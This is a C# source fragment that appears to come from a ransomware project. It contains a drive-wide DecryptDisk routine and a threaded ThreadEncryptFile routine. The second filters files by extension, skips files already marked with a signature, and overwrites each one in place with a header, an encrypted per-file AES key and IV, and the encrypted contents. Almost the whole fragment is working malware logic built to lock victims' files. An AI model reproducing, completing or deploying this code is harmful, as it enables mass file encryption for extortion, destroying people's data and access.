/// <summary>
/// Main Decryption Method
/// </summary>
public void DecryptDisk()
{
#if DEBUG
Trace.WriteLine("[*] DecryptDisk");
#endif
// Enumerate All Device Disks
DriveInfo[] drives = DriveInfo.GetDrives();
// Force Generate Aes Engine
CriptoKeyManager.RotateAesKey();
#if DEBUG
Trace.WriteLine("[+] Drives Enumerated Successfully. " + drives.Length + " Drives Found");
#endif
// Iterate Drivers
foreach (DriveInfo drive in drives)
{
DecryptDrive(drive);
}
}
/// <summary>
/// Encrypt a Single File (In Thread Enviroment)
/// </summary>
/// <param name="file"></param>
private void ThreadEncryptFile(FileInfo file)
{
// Simple Thread Wait
Thread.Sleep(10);
#if DEBUG
Trace.WriteLine("");
Trace.WriteLine("[*] EncryptFile (" + file.Name + ")" + " ThreadID:" + Thread.CurrentThread.ManagedThreadId.ToString());
Trace.Indent();
#endif
// Check File in Filter
if (Common.FileInFilter(file.Extension))
{
// File Signature Decision Gate
if (!Common.CheckSignature(file))
{
// Encrypt
#if DEBUG
Trace.WriteLine("[+] File to Encrypt");
#endif
// Read File Data
Byte[] fileData = null;
FileManager.ReadFile(file, ref fileData);
// Encrypt File
using (FileStream fs = File.OpenWrite(file.FullName))
{
fs.Position = 0;
// Lock do Get Key and Rotate (with Proba)
byte[] key = null;
byte[] iv = null;
lock (lockableObject)
{
// Rotate Key
CriptoKeyManager.RotateAesKey();
// Copy Keys to Encrypt
key = new byte[CriptoKeyManager.CURRENT_FILE_ENCRIPTION_KEY.Length];
iv = new byte[CriptoKeyManager.CURRENT_FILE_ENCRIPTION_IV.Length];
Array.Copy(CriptoKeyManager.CURRENT_FILE_ENCRIPTION_IV, iv, CriptoKeyManager.CURRENT_FILE_ENCRIPTION_IV.Length);
Array.Copy(CriptoKeyManager.CURRENT_FILE_ENCRIPTION_KEY, key, CriptoKeyManager.CURRENT_FILE_ENCRIPTION_KEY.Length);
// Write Control Structure
fs.Write(ConfigurationManager.FILE_SIGNATURE, 0, ConfigurationManager.FILE_SIGNATURE_SIZE);
fs.Write(CriptoKeyManager.CURRENT_ENCRYPTED_FILE_ENCRIPTION_KEY, 0, CriptoKeyManager.CURRENT_ENCRYPTED_FILE_ENCRIPTION_KEY.Length);
fs.Write(CriptoKeyManager.CURRENT_ENCRYPTED_FILE_ENCRIPTION_IV, 0, CriptoKeyManager.CURRENT_ENCRYPTED_FILE_ENCRIPTION_IV.Length);
}
fs.Flush();
// Write Encrypted Data
CriptoFileManager.Encrypt(fs, ref fileData, ref key, ref iv);
// Clear Array
Common.ClearArray(ref key);
Common.ClearArray(ref iv);
}
}
else
{
#if DEBUG
Trace.WriteLine("[+] File Alread Encrypted");
#endif
}
}
else
{
#if DEBUG
Trace.WriteLine("[+] File Filter not Allowed");
#endif
}
#if DEBUG
Trace.Unindent();
#endif
}
